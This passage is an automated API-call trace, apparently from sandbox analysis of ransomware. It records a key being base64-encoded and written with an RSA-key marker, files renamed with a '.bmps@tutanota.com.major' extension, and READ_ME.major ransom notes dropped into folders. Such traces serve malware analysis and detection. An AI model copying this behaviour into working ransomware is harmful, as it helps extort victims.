out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0152.455] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0152.455] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="eHeXJkTlKYEUb9IFAwu7nEa0kG731077P2SwDbPrAZ/Nd3x0/lf13aaKgBU3kADT\n6jo7JFRDRAI6/JnZezgqAkAFFC4fHt1eCjUSd0u5Kp45P3TRaOAgSCZTPxhM1An2\nFkdBJpFRpdlYaAsTsd4Oy9FjWgXHtxLKRPe6XeY+Vk1SkIom2d6z0Fcx62mymo6S\nYLGEbr+m+ZpTrs96oNv7jV3Ukcq5LkiPHBKuKRHat3QnNm2Gz3HRRASG5PRSt9g4\ngbjh7SSSTk4nLyixMog+woDyBqj8k0pbIr7B+AHSYQoVghlyfYjl5pCwGWSB285g\n1/z4Ojl01LDiTQErbn0KBA==\n", pcchString=0x2e3f9a8) returned 1 [0152.455] WriteFile (in: hFile=0x654, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0152.455] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0152.455] WriteFile (in: hFile=0x654, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0152.455] CloseHandle (hObject=0x654) returned 1 [0152.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0152.456] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), lpNewFileName="\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0152.457] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652180 | out: hHeap=0x570000) returned 1 [0152.457] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccee0 | out: hHeap=0x570000) returned 1 [0152.457] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0152.457] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0152.457] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e5c0 [0152.458] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0152.458] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a37b8 | out: hHeap=0x570000) returned 1 [0152.458] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1108 | out: hHeap=0x570000) returned 1 [0152.458] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x158ec7fb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x630d40 [0152.458] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0980 | out: hHeap=0x570000) returned 1 [0152.458] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7d50 [0152.458] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0152.458] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7d50 | out: hHeap=0x570000) returned 1 [0152.458] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d04d0 [0152.458] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0152.458] GetLastError () returned 0x0 [0152.458] SetLastError (dwErrCode=0x0) [0152.458] GetLastError () returned 0x0 [0152.458] SetLastError (dwErrCode=0x0) [0152.458] GetLastError () returned 0x0 [0152.458] SetLastError (dwErrCode=0x0) [0152.458] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0152.458] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0152.458] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.458] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccda0 [0152.458] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631000 [0152.458] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631000 | out: hHeap=0x570000) returned 1 [0152.458] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405d0 [0152.458] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405d0 | out: hHeap=0x570000) returned 1 [0152.458] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccda0 | out: hHeap=0x570000) returned 1 [0152.458] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0152.458] FindNextFileW (in: hFindFile=0x630d40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x158ec7fb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0152.458] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d04d0 | out: hHeap=0x570000) returned 1 [0152.458] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7b58 [0152.458] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0152.459] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x570000) returned 1 [0152.459] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d08b8 [0152.459] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0152.459] GetLastError () returned 0x0 [0152.459] SetLastError (dwErrCode=0x0) [0152.459] GetLastError () returned 0x0 [0152.459] SetLastError (dwErrCode=0x0) [0152.459] GetLastError () returned 0x0 [0152.459] SetLastError (dwErrCode=0x0) [0152.459] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0152.459] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0152.459] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.459] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd78 [0152.459] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631000 [0152.459] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631000 | out: hHeap=0x570000) returned 1 [0152.459] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40390 [0152.459] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0152.459] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd78 | out: hHeap=0x570000) returned 1 [0152.459] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0152.459] FindNextFileW (in: hFindFile=0x630d40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="packages", cAlternateFileName="")) returned 1 [0152.459] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d08b8 | out: hHeap=0x570000) returned 1 [0152.459] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7b10 [0152.459] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0152.459] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7b10 | out: hHeap=0x570000) returned 1 [0152.459] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0152.459] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0152.459] GetLastError () returned 0x0 [0152.459] SetLastError (dwErrCode=0x0) [0152.459] GetLastError () returned 0x0 [0152.459] SetLastError (dwErrCode=0x0) [0152.459] GetLastError () returned 0x0 [0152.459] SetLastError (dwErrCode=0x0) [0152.459] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce18 [0152.459] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0152.459] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce18 | out: hHeap=0x570000) returned 1 [0152.459] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce40 | out: hHeap=0x570000) returned 1 [0152.459] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0278 [0152.459] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce18 [0152.459] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0152.459] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0152.460] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d290 [0152.460] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7d98 [0152.460] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0152.460] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7d98 | out: hHeap=0x570000) returned 1 [0152.460] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0e30 [0152.460] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0152.460] GetLastError () returned 0x0 [0152.460] SetLastError (dwErrCode=0x0) [0152.460] GetLastError () returned 0x0 [0152.460] SetLastError (dwErrCode=0x0) [0152.460] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bf3d8 [0152.460] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0e30 | out: hHeap=0x570000) returned 1 [0152.460] GetLastError () returned 0x0 [0152.460] SetLastError (dwErrCode=0x0) [0152.460] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x60ffe8 [0152.460] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x658 [0152.460] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60ffe8 | out: hHeap=0x570000) returned 1 [0152.460] WriteFile (in: hFile=0x658, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0152.461] CloseHandle (hObject=0x658) returned 1 [0152.461] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0152.461] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d290 | out: hHeap=0x570000) returned 1 [0152.461] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0152.462] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0152.462] FindNextFileW (in: hFindFile=0x630d40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x158ec7fb, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x158ec7fb, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x158ec7fb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0152.462] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0152.462] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7918 [0152.462] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0152.462] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7918 | out: hHeap=0x570000) returned 1 [0152.462] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0598 [0152.462] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0152.462] GetLastError () returned 0x0 [0152.462] SetLastError (dwErrCode=0x0) [0152.462] GetLastError () returned 0x0 [0152.462] SetLastError (dwErrCode=0x0) [0152.462] GetLastError () returned 0x0 [0152.462] SetLastError (dwErrCode=0x0) [0152.462] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd78 [0152.462] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd78 | out: hHeap=0x570000) returned 1 [0152.462] FindNextFileW (in: hFindFile=0x630d40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x158ec7fb, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x158ec7fb, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x158ec7fb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0152.462] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0152.462] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e5c0 | out: hHeap=0x570000) returned 1 [0152.462] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0152.462] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0152.462] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x158ec7fb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x631080 [0152.462] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0598 | out: hHeap=0x570000) returned 1 [0152.462] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7918 [0152.462] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0152.462] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7918 | out: hHeap=0x570000) returned 1 [0152.462] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0e30 [0152.462] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0152.462] GetLastError () returned 0x12 [0152.462] SetLastError (dwErrCode=0x12) [0152.463] GetLastError () returned 0x12 [0152.463] SetLastError (dwErrCode=0x12) [0152.463] GetLastError () returned 0x12 [0152.463] SetLastError (dwErrCode=0x12) [0152.463] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0152.463] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0152.463] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.463] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccee0 [0152.463] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630d80 [0152.463] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630d80 | out: hHeap=0x570000) returned 1 [0152.463] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40600 [0152.463] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0152.463] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccee0 | out: hHeap=0x570000) returned 1 [0152.463] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0152.463] FindNextFileW (in: hFindFile=0x631080, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x158ec7fb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0152.463] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0e30 | out: hHeap=0x570000) returned 1 [0152.463] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7c78 [0152.463] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0152.463] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7c78 | out: hHeap=0x570000) returned 1 [0152.463] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0b10 [0152.463] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0152.463] GetLastError () returned 0x12 [0152.463] SetLastError (dwErrCode=0x12) [0152.463] GetLastError () returned 0x12 [0152.463] SetLastError (dwErrCode=0x12) [0152.463] GetLastError () returned 0x12 [0152.463] SetLastError (dwErrCode=0x12) [0152.463] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0152.463] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0152.464] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.464] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd78 [0152.464] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631000 [0152.464] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631000 | out: hHeap=0x570000) returned 1 [0152.464] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40390 [0152.464] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0152.464] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd78 | out: hHeap=0x570000) returned 1 [0152.464] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0152.464] FindNextFileW (in: hFindFile=0x631080, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="packages", cAlternateFileName="")) returned 1 [0152.464] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0152.464] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7ba0 [0152.464] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0152.464] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7ba0 | out: hHeap=0x570000) returned 1 [0152.464] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0152.464] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0152.464] GetLastError () returned 0x12 [0152.464] SetLastError (dwErrCode=0x12) [0152.464] GetLastError () returned 0x12 [0152.464] SetLastError (dwErrCode=0x12) [0152.464] GetLastError () returned 0x12 [0152.464] SetLastError (dwErrCode=0x12) [0152.464] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd78 [0152.464] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccee0 [0152.464] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd78 | out: hHeap=0x570000) returned 1 [0152.464] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccee0 | out: hHeap=0x570000) returned 1 [0152.464] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0408 [0152.464] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd78 [0152.464] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0152.464] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0152.464] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d370 [0152.464] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7c78 [0152.464] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0152.464] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7c78 | out: hHeap=0x570000) returned 1 [0152.465] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d08b8 [0152.465] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0152.465] GetLastError () returned 0x12 [0152.465] SetLastError (dwErrCode=0x12) [0152.465] GetLastError () returned 0x12 [0152.465] SetLastError (dwErrCode=0x12) [0152.465] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bf3d8 [0152.465] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d08b8 | out: hHeap=0x570000) returned 1 [0152.465] GetLastError () returned 0x12 [0152.465] SetLastError (dwErrCode=0x12) [0152.465] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x60fb60 [0152.465] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x65c [0152.466] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60fb60 | out: hHeap=0x570000) returned 1 [0152.466] WriteFile (in: hFile=0x65c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0152.467] CloseHandle (hObject=0x65c) returned 1 [0152.467] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0152.467] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d370 | out: hHeap=0x570000) returned 1 [0152.467] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0152.467] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0152.467] FindNextFileW (in: hFindFile=0x631080, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x158ec7fb, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x158ec7fb, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x158ec7fb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0152.467] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0152.467] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7be8 [0152.467] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0152.467] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7be8 | out: hHeap=0x570000) returned 1 [0152.467] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d04d0 [0152.467] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 